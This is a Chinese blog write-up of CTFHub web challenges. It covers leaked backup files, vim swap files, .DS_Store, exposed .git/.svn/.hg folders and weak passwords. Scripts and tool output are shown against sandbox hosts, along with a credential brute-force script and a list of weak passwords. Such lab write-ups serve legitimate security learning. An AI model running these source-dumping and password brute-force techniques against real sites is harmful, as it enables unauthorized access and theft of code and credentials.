CTFHUB Web题解记录（信息泄露、弱口令部分）

原创

valecalida 于 2020-03-18 20:42:35 发布 4328 收藏 7
分类专栏： CTF python 文章标签： CTF CTFHUB Python

本文链接：https://blog.csdn.net/valecalida/article/details/104953087

以下内容只是自己做题的一个记录，不喜勿喷；如有侵权，请私信我，我会及时处理

目录

一、信息泄露

1、目录遍历

这里通过观察目录的情况，发现目录都是 `/flag_in_here/1/%d` 的样式，于是构造脚本

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request
num_list = [i+1 for i in range(4)]

for i in num_list:
    try:
        res = urllib.request.urlopen("http://challenge-c127326ad3ea6854.sandbox.ctfhub.com:10080/flag_in_h
    except BaseException as e:
        pass
    else:
        print(res.read().decode('utf-8'))
```

运行得到的结果是

```
ctfhub{1987f2dcecfe6cc28241015c225ce28c33aef1f7}
```

2、PHPINFO

由于题目提示页面中将会直接出现flag，所以直接构建脚本

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request
import urllib.request
import re
rr = re.compile(r'\bctfhub{.*}', re.I)
res = urllib.request.urlopen("http://challenge-44154573da4f5713.sandbox.ctfhub.com:10080/phpinfo.php")
res_content = res.read().decode('utf-8')
print(rr.findall(res_content))
```

运行得到的结果是

```
['ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}', 'ctfhub{ba9c6833ed8b3648bdf86f7ea27c684237ce265e}']
```

3、备份文件下载

3.1、网站源码

当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request, urllib.parse
import zipfile, os
import re
rr = re.compile(r'\bctfhub{.*}', re.I)


def unzip_file(zip_src, dst_dir):
    r = zipfile.is_zipfile(zip_src)
    if r:
        fz = zipfile.ZipFile(zip_src, 'r')
        for file in fz.namelist():
            fz.extract(file, dst_dir)
    else:
        print('看起来解压的过程中出现了一点问题')


name_list1 = ['rar', 'tar.gz', 'tar', 'zip']
name_list2 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
name_list = []
for name1 in name_list1:
    for name2 in name_list2:
        name_list.append(name2 + "." + name1)

for names in name_list:
    try:
        res = urllib.request.urlopen('http://challenge-784af2e1b6c52d01.sandbox.ctfhub.com:10080/%s' %name
    except BaseException as e:
        pass
    else:
        print("检测到了%s" %names, "正在下载...")
        f = open(names, 'wb')
        f.write(res.read())
        f.close()
        print("下载完成")
        zip_src = os.getcwd() + "\\" + names
        dst_dir = os.getcwd()
        unzip_file(zip_src,dst_dir)
        print("解压完成")
        for name_dir in os.listdir():
            try:
                resp = urllib.request.urlopen('http://challenge-784af2e1b6c52d01.sandbox.ctfhub.com:10080/
            except BaseException as e:
                pass
            else:
                res_content = resp.read().decode('utf-8')
                if len(res_content) >= 60:
                    continue
                else:
                    print("获取到的flag为：%s" %res_content)
                    break
```

运行得到的结果是

```
检测到了www.zip 正在下载...
下载完成
解压完成
获取到的flag为：ctfhub{a0f7e3a2630c76950dbceb4bad4f088cfd2efcb7}
```

3.2、bak文件

当开发人员在线上环境中对源代码进行了备份操作，并且将备份文件放在了 web 目录下，就会引起网站源码泄露。

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request as ur
import re
rr = re.compile(r'\bctfhub{.*}', re.I)

res = ur.urlopen('http://challenge-9b444eeda7f6a455.sandbox.ctfhub.com:10080/index.php.bak')
res_content = res.read().decode('utf-8')

print(str(rr.findall(res_content))[2:-2])
```

运行得到的结果是

```
ctfhub{2235cea3ec81eb9569f4604251fe8a7120b95049}
```

3.3、vim缓存

当开发人员在线上环境中使用 vim 编辑器，在使用过程中会留下 vim 编辑器缓存，当vim异常退出时，缓存会一直留在服务器上，引起网站源码泄露。

通常 `vim` 的备份文件有：

`.filename.swp`

`filename~`

`.filename.un.~`

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request as ur, urllib.parse
import zipfile, os
import re
rr = re.compile(r'\bctfhub{.*}', re.I)


res = ur.urlopen('http://challenge-5aa8b1e1be6c5d78.sandbox.ctfhub.com:10080/.index.php.swp')
print(str(rr.findall(str(res.read())))[2:-2])
```

运行得到的结果是

```
ctfhub{67e244df614a707bf252d60711afef3767e41492}
```

3.4、.DS_Store

`.DS_Store` 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

这里通过下面的地址直接获取到文件

```
http://challenge-3092fd23a1d60f94.sandbox.ctfhub.com:10080/.DS_Store
```

然后通过Linux命令获取文件内容

```
xxd -p DS_Store | sed 's/00//g' | tr -d '\n' | sed 's/\([0-9A-F]\{2\}\)/0x\1 /g' | xxd -r -p | strings | s
```

得到的结果如下

```
Bud1
DSDB
$e536ae211065e6cb535b1a8080a2baa3.txtnoteustr
flag here!
```

接着构建脚本

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author: valecalida--
import urllib.request as ur
res = ur.urlopen('http://challenge-3092fd23a1d60f94.sandbox.ctfhub.com:10080/e536ae211065e6cb535b1a8080a2b
print(res.read().decode('utf-8'))
```

运行得到的结果是

```
ctfhub{b00feb505c3f4e6df73d8612c76bd5deb5aa4475}
```

4、Git泄露

4.1、Log

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

```
➜  GitHack-master python GitHack.py http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/


  ____ _ _   _   _             _
 / ___(_) |_| | | | __ _  ___| | __
| |  _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_|  _  | (_| | (__|   <
 \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
 A '.git' folder disclosure exploit.

[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-426b1b
fatal: repository 'http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-426b1b2da4ddd315.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/b5/aa9e47f5f2a2b02e23da913c5137976e36a716
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/90/f6b210fccb96c831fb0149bd777d02f2fdc5b9
[*] objects/9d/aceca66ad6be96b31ab966d60ca6e6beb02ebb
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/ba/69d13b39c28abea7f0f7865d83d8cb6aa83b10
[*] objects/ac/48499ac2bda260e59471019e8506a71980f5a2
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Valid Repository
[+] Valid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist
```

然后进入到响应的文件夹查看git log

```
➜  GitHack-master cd dist/challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080
➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ git log
```

运行得到的结果如下

```
commit b5aa9e47f5f2a2b02e23da913c5137976e36a716 (HEAD -> master)
Author: CTFHub <sandbox@ctfhub.com>
Date:   Sun Mar 15 12:54:22 2020 +0000

    remove flag

commit 90f6b210fccb96c831fb0149bd777d02f2fdc5b9
Author: CTFHub <sandbox@ctfhub.com>
Date:   Sun Mar 15 12:54:22 2020 +0000

    add flag

commit ba69d13b39c28abea7f0f7865d83d8cb6aa83b10
Author: CTFHub <sandbox@ctfhub.com>
Date:   Sun Mar 15 12:54:22 2020 +0000

    init
(END)
```

当前所处的版本为 `remove flag`，flag 在 `add flag`，我们就要切换版本

```
➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ git reset --hard 90f6
HEAD is now at 90f6b21 add flag
➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ ll
total 0
-rwxrwxrwx 1 kali kali  49 Mar 15 21:05 298682056511664.txt
-rwxrwxrwx 1 kali kali 494 Mar 15 21:05 50x.html
-rwxrwxrwx 1 kali kali 143 Mar 15 21:05 index.html
➜  challenge-426b1b2da4ddd315.sandbox.ctfhub.com_10080 git:(master) ✗ cat 298682056511664.txt
ctfhub{f0aa23ed987f7f88905579799a5f7da12f6cc491}
```

4.2、Stash

```
➜  GitHack-master python GitHack.py http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/


  ____ _ _   _   _            _
 / ___(_) |_| | | | __ _  ___| | __
| |  _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_|  _  | (_| | (__|   <
 \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
 A '.git' folder disclosure exploit.

[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/
[*] Initialize Target
[*] Try to Clone straightly
```

```
[*] Try to Clone straightly
[*] Clone
Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-bcc954
fatal: repository 'http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-bcc954ebd1926525.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/67/6ee2ab05e4e9190d1eb94e035ad00b23e6db3d
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/a3/b071375bbc6d7315c553d28efc9ddd16c79cbe
[*] objects/8a/3f858443df92e83814ad7d6340c786c1dbafaf
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] objects/0d/3c5e077dbbc36f7fc5fe0812c5d07173595749
[*] objects/e3/58b09f4cb4e5800dd20e1aa6758bf80811001a
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Fetch Commit Objects
[*] objects/06/36184b6082890f325e44990c6805a70f1dd06b
[*] objects/2d/78a2c68cc4d62aac1d07f4321a7d0385e026a6
[*] objects/e0/8222e5d2f251eb14754ed3b40d9a1ef2f639ed
[*] objects/6c/dfa192a6458d5c5611fe5eb44338b77d712bf2
[*] Fetch Commit Objects End
[*] Valid Repository
[+] Valid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist
```

然后

```
➜  GitHack-master cd dist/challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080
➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ git stash list
stash@{0}: WIP on master: a3b0713 add flag
#可以看到栈中有内容，直接弹出
➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ git stash pop
CONFLICT (modify/delete): 2677036325324.txt deleted in Updated upstream and modified in Stashed changes. V
The stash entry is kept in case you need it again.
➜  challenge-bcc954ebd1926525.sandbox.ctfhub.com_10080 git:(master) ✗ cat 2677036325324.txt
ctfhub{69ad3cdc7bae528787ead797f0ce24c24a2613fc}
```

4.3、index

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

```
➜  GitHack-master python GitHack.py http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git

  ____ _ _   _   _            _
 / ___(_) |_| | | | __ _  ___| | __
| |  _| | __| |_| |/ _` |/ __| |/ /
| |_| | | |_|  _  | (_| | (__|   <
 \____|_|\__|_| |_|\__,_|\___|_|\_\{0.0.5}
 A '.git' folder disclosure exploit.

[*] Check Depends
[+] Check depends end
[*] Set Paths
[*] Target Url: http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/
[*] Initialize Target
[*] Try to Clone straightly
[*] Clone
Cloning into '/mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge-858daa
fatal: repository 'http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/' not found
[-] Clone Error
[*] Try to Clone with Directory Listing
[*] http://challenge-858daa56ad3a890b.sandbox.ctfhub.com:10080/.git/ is not support Directory Listing
[-] [Skip][First Try] Target is not support Directory Listing
[*] Try to clone with Cache
[*] Initialize Git
[*] Cache files
[*] packed-refs
[*] config
[*] HEAD
[*] COMMIT_EDITMSG
[*] ORIG_HEAD
[*] FETCH_HEAD
[*] refs/heads/master
[*] refs/remote/master
[*] index
[*] logs/HEAD
[*] logs/refs/heads/master
[*] Fetch Commit Objects
[*] objects/28/24e1bbf84973508284fdb7e401b068d36ee5e9
[*] objects/f4/a95a1573c72e0ac3be354b13e7f7707d730384
[*] objects/be/0651e066fd7424d5469d34872219d0750469f9
[*] objects/01/2ae1fc6b838a345b689ae6bb4ec0edfd517a64
[*] objects/26/3f2708ef410c0e91c4bd6985ecaedd2a4a04c7
[*] objects/90/71e0a24f654c88aa97a2273ca595e301b7ada5
[*] objects/2c/59e3024e3bc350976778204928a21d9ff42d01
[*] Fetch Commit Objects End
[*] logs/refs/remote/master
[*] logs/refs/stash
[*] refs/stash
[*] Valid Repository
[+] Valid Repository Success

[+] Clone Success. Dist File : /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist
```

查看一下就得到flag了

```
➜  GitHack-master cd /mnt/c/Users/BinSec/Downloads/Compressed/GitHack-master/GitHack-master/dist/challenge
➜  challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) ✗ ll
total 0
-rwxrwxrwx 1 kali kali  49 Mar 15 20:50 213531131228420.txt
-rwxrwxrwx 1 kali kali 494 Mar 15 20:50 50x.html
-rwxrwxrwx 1 kali kali 143 Mar 15 20:50 index.html
➜  challenge-858daa56ad3a890b.sandbox.ctfhub.com_10080 git:(master) ✗ cat 213531131228420.txt
ctfhub{8e1d7681a1a66c8b74d5a1b20b3a6b0d920589e2}
```

5、SVN

当开发人员使用 SVN 进行版本控制，对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

```
➜  dvcs-ripper-master sudo perl rip-svn.pl -u http://challenge-c523a500b40f2829.sandbox.ctfhub.com:10080/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
Reverted 'index.html'
➜  dvcs-ripper-master ll -a
total 80K
drwxrwxrwx 1 kali kali 4.0K Mar 15 21:24 .
drwxrwxrwx 1 kali kali 4.0K Mar 15 21:21 ..
-rwxrwxrwx 1 kali kali  149 Oct 22  2018 .gitignore
-rwxrwxrwx 1 kali kali 3.8K Oct 22  2018 hg-decode.pl
-rwxrwxrwx 1 kali kali  221 Mar 15 21:24 index.html
-rwxrwxrwx 1 kali kali  18K Oct 22  2018 LICENSE
-rwxrwxrwx 1 kali kali 5.5K Oct 22  2018 README.md
-rwxrwxrwx 1 kali kali 6.3K Oct 22  2018 rip-bzr.pl
-rwxrwxrwx 1 kali kali 4.7K Oct 22  2018 rip-cvs.pl
-rwxrwxrwx 1 kali kali  15K Oct 22  2018 rip-git.pl
-rwxrwxrwx 1 kali kali 6.0K Oct 22  2018 rip-hg.pl
-rwxrwxrwx 1 kali kali 6.1K Oct 22  2018 rip-svn.pl
drwxrwxrwx 1 kali kali 4.0K Mar 15 21:24 .svn
#发现生成了.svn这个目录，可以继续查看
➜  dvcs-ripper-master tree .svn
.svn
├── entries
├── format
├── pristine
│   ├── bf
│   │   └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
│   └── c4
│       └── c4b3e18fe09fc3a63ec12c483c84012537bb5f2c.svn-base
├── text-base
├── tmp
├── wc.db
└── wc.db-journal
➜  pristine cat c4/c4b3e18fe09fc3a63ec12c483c84012537bb5f2c.svn-base bf/bf45c36a4dfb73378247a6311eac4f80f4
ctfhub{1be4627619f2fd32babf97c15c0c93b1ce342934}
<html>

<head>
    <meta charset="UTF-8" />
    <title>CTFHub 信息泄露 SVN</title>
</head>

<body>
    <h1>信息泄露 - Subversion</h1>
    <br/>
    <p>Flag 在服务端旧版本的源代码中</p>
</body>

</html>%
```

得到了flag

```
ctfhub{1be4627619f2fd32babf97c15c0c93b1ce342934}
```

6、HG泄露

当开发人员使用 Mercurial 进行版本控制，对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。

```
  dvcs-ripper-master sudo perl rip-hg.pl -u http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/.hg
[i] Getting correct 404 responses
[i] Finished (2 of 12)
➜  dvcs-ripper-master cd .hg
➜  .hg tree
.
├── 00changelog.i
├── dirstate
├── last-message.txt
├── requires
├── store
│   ├── 00changelog.i
│   ├── 00manifest.i
│   ├── data
│   │   ├── 50x.html.i
│   │   └── index.html.i
│   ├── fncache
│   └── undo
├── undo.branch
├── undo.desc
├── undo.dirstate
└── wcache
    ├── checklink -> checklink-target
    └── checklink-target

3 directories, 15 files
```

```
➜  .hg cat store/*
••or►►►►►►►►►► (
               ►►►$•!►|►►►M►x►-►A
kx►•ɻtv••►►►►e►►►►►!β►•^:"(►►_•I•,•►B R•►•F►-kD►H;►►►;►►J►9►►T►►►►►uH{'►!►hM►TR•Y►
•1•@►>_►/X►L•DDa►►^►A►PS►►|►►►=►ηXr•I    ►9)5►•►►►x!•(►!►►}►►|►►►·►►•►►Iz}►<I►•►►►
                                                                                ►►►►
                                                                    6►•Ta►(►►1$►Ü•*YI►•►►
cat: store/data: Is a directory
data/index.html.i
data/50x.html.i
data/flag_1027926131.txt.i
data/flag_1027926131.txt.i0
00manifest.i153
00changelog.i175
```

然后使用命令

```
➜  .hg curl http://challenge-cf7c8f19e3e86d74.sandbox.ctfhub.com:10080/flag_1027926131.txt
ctfhub{7858c2fb14bc35af6870bfecaa93fce0a4e7269b}
```

二、密码口令

1、弱口令

大部分的场景下，用户登陆都是POST请求提交表单，所以这里也用Python3模拟提交一下表单，然后获取登陆后的响应界面

```
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import requests
import re
import sys
f = open('Top100.txt', 'r')
content = []
for line in f.readlines():
    content.append(line.strip())
pattern = '.*(ctfhub\{.*\})'
for username in content:
    for password in content:
        data = {
            'name': username,
            'password': password,
            'referer': ''
        }
        res = requests.post(url="http://challenge-2f3b16498078855d.sandbox.ctfhub.com:10080", data=data)
        flag = re.findall(pattern, res.text)
        if len(str(flag)) >= 32:
            print("获取到flag的账号是：%s 密码是：%s flag为：%s" %(username, password, flag[0]))
            sys.exit()
        else:
            print("正在尝试的账户名是：%s 密码是：%s" % (username, password))
```

这里给出弱口令里面最好要有的几个（为了做题的话）

```
tiger、admin888、123456、password、admin、admin123
```